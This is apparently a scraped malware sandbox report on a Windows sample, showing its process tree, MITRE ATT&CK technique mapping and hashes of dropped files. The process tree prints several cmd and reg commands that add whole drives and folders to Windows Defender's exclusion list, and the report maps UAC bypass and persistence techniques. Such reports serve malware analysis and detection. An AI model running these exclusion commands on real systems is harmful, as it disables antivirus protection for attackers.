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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:5944 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2700
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2916 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:468
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3468 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5140
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4684 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4764
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C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe"C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:6064
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C:\Program Files (x86)\XnZKV1Kr\VQX11.exe"C:\Program Files (x86)\XnZKV1Kr\VQX11.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:312
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
1Clear Persistence
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll
- Size 4.6MB
- SHA256 e1333f824961a5c889e42808daf6b4b897dbba6ca45103af96658280dafe0b33
- MD5 b4e61ce0a21d9975a8bf796adc472051
- SHA1 e4b2f97ed4f83d46fb5766686071e6949fdede6d
- SHA512 3aae1ded7fe6b5024b93635177eb0c45688cccbfffec880b4bc6d20d5e297d8a9e3b47aafd58ad8a492e811d003722666d41e5f93d25ad5bc85007c709b4cac7
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy+:BMWKfU+BcUTHCCCfqCiUffn+
- TLSH T125263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\4Ct4qa\image.png
- Size 4.8MB
- SHA256 3a72f57da479ed5e03cbb077f642e0ddbbf8158c043a736f329f40a342b0f5ff
- MD5 25d675cef6615528b00069d870889b6f
- SHA1 6ac3cb7819325215cf02969b600724b69c5ee159
- SHA512 7f0d2f8db0a900dddcd8f3c5a888b0ee34046f8991b41d7274c07857370df87cfbeb37a2bcfaf48215b91597063318c22cf3bfd846e4275ec05864c7358044c9
- SSDEEP 98304:C/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:CMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
- TLSH T1B136334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\4Ct4qa\thumbs.db
- Size 358KB
- SHA256 d2e577f0cd56d3a6bc551ea0323170b368b340e0ee712d2e76d6788740d275af
- MD5 013b779015a82b157aae2764626e631c
- SHA1 dcd951ef83af5f99d26a5cca9f4d3ac2248144d8
- SHA512 6e391531e27cf10b55bdba4c173db9b0928bf64b9d58eb27d3b2089944a419350902fe77002a7d00b80ac348210a7ea0edb656aab99805548fd4590971dbc68d
- SSDEEP 6144:kiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:T8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T1D774F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\XnZKV1Kr\XPSPLOG.dll
- Size 4.6MB
- SHA256 12ed5bf489949af04682f2aa9f3117f7c61d9488fb4e47e33cf7e2a53ed2c334
- MD5 c51c52c44394b8f2580973b108da23dd
- SHA1 09e43a6a580d7ee87f1659254faddf3f0e900f84
- SHA512 fc6bd667098bf575a563c7d16e987f6d4267bd4867cf93ab060613eaa2e34026e9df1daad3caa1def18b3ab18ece1b258be0991d79c59594a1a49865639ed67c
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyI:BMWKfU+BcUTHCCCfqCiUffnI
- TLSH T1F3263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\XnZKV1Kr\image.png
- Size 4.8MB
- SHA256 f4a7b58530193f08eff65734b8e7c9010012540fbea57c58f1f1f3b5387a29f4
- MD5 8a143bd6cd5f5240c34068ce79f36531
- SHA1 fc9cbc9835333969fc563dcb102649f046460bdd
- SHA512 8afe10995735dcd84d16155e44b98d635f08ffaed7a062e21703aeda38b7fcf52c76b3bde33409fb870a491111fa024818135223c551a794cd7a9c8decacad8e
- SSDEEP 98304:1/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:1MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
- TLSH T1B436334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 1KB
- SHA256 9d6bb95670218017924a6b4dda68964face40ede53bf6d85e272f957cf41fade
- MD5 1af6151fc63d24ce97bdc81d98056354
- SHA1 58410c226016f7180d8711a82179d89b7b5b76c4
- SHA512 6788779807c8e929dd7e0d67c50ad29ca9c144132d8ccc06e22582880e187a00d1ae32245b3999a216b355fd05f5132a1627b5dbf36a91461defe794fe4f77d2
- TLSH T16C31C6BA2FAD6E964F3A8C8119CEF1262CF6E0806CC6546B5150E4A4DF043B22F4E908
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 1KB
- SHA256 0b8474d8df8d91cd0b72011467d004364acdc3f06e40b9d713b6e7de061e23bd
- MD5 c3877ff86a35403067a87a910a9757fb
- SHA1 cf5842e9ae80a23429cf9ab7d09298ca9f068e05
- SHA512 1833ba894245853a598880f4bff4b37929e4a85b013303258b9e818d9bebe428ffdcb77765579bbcb4951ef321080139c9251d24406798d5313c3f8c0ad5bf04
- TLSH T1CA31B64B4E394063EF0C5F7913D4D13F6CF561744CE88845663AC56B4619B7B6F85404
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 512B
- SHA256 42ea868b331990df78cb2e57ce527fc6c7d0c7adf8c53cf56153549215ea34d4
- MD5 27a822c83235607d4c88f1179ca03b68
- SHA1 a7270303335604be69f60c68b192c1bd3f343f00
- SHA512 3f3277fb3c8d56e283c7be1303dc381445971387a01e3e6617f3242b03ae4e84c14c926304e918d4cd6b801ac38a433ef0f5f1b128bf0393b8ad42b86da2ccbd
- TLSH T191F02E1C4438822DF376DA3CC7CA69973BBAE604240385A405A54B0D65865536E9267A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 506B
- SHA256 93a62fc7b529256cfc87dc4f52d9e09ba68edf7614d2a4a08a20be3a5c061418
- MD5 43908f809daf5e8f5a36b545639f379a
- SHA1 80657004642cb21853131467aa61cb9031120f1e
- SHA512 b3ba6ed1c88697aa6a69ef9b835a88b1af978dabefefee1e468be2dcd0137e83b387a348714f294365ee192e152acf86132f82353ece9cb7b30abfa7068cd44e
- TLSH T1BBF097295AD9403AF03BD3B48BD736B25E29E121500762AF0AEA43045A51C411C422B6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_je11yr2z.45q.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\FBIRNB\Ny6yf4.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\FBIRNB\UxEnhance64.dll
- Size 3.1MB
- SHA256 2c416c77bb5af03ed84f7abb9706d6384f07142500993387f2c19c7d5b8bea53
- MD5 8c0c6abbafd5aaae63f783b11d81ed31
- SHA1 33f0187cce112cebb55518dbb19116e5cb727f1a
- SHA512 902e7f717ffa4c5ed10dd077d38e4875c5b03ff5193c7e17a2ee5c02747c8b7dc7612d87d8144ca78730f94427f7228b0dbd93e7a63e4ad847dbeb6d6719bc2f
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+J:P9m29xx3Tiqt06ox6+z2rNNrKoJ
- TLSH T19FE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\FBIRNB\adoresd.dat
- Size 4.8MB
- SHA256 33eee33098d6b72b776cb7d6ba15d29ca17f1c002eb934e78e41f24345f3c4ec
- MD5 b601049a5b534384fcee150348cfe130
- SHA1 d9f8604af88db01edc8255ae943ac5bdef2710ab
- SHA512 ed5de9e9d1ed694ef1696ba8ad3bb2afd16a64e1995e6db5c6ba261e98e9d4fb9ae70a465ed4839923f178b4e431ceed3b954f4531f917792460dacbf0a37454
- SSDEEP 98304:0Wjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:0Wj3WRdRQH5fimPGmNc7dBtYOc
- TLSH T1973633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\FBIRNB\msadox.tb
- Size 8KB
- SHA256 258ddd9293a9970fc77aeccafff4fe518b19f1c2aa682f73a2080b28c1c50e5f
- MD5 a5bfc9dc76d8b4bc997115fa4dca8cf0
- SHA1 59435d52f90fa833f8afcd24a5eb40f5d7983127
- SHA512 35abb7ec0e6d6d9a71ee97ba1632890b45639fac58c9478b59c7bb43d6a5ab575407ea2e2e641fa5ee143086fddabf1404e3e422629a01fc61c5f5362047111a
- SSDEEP 192:pqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:psZqZOXQ3uqvR2Kfzp
- TLSH T1F8029E06D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512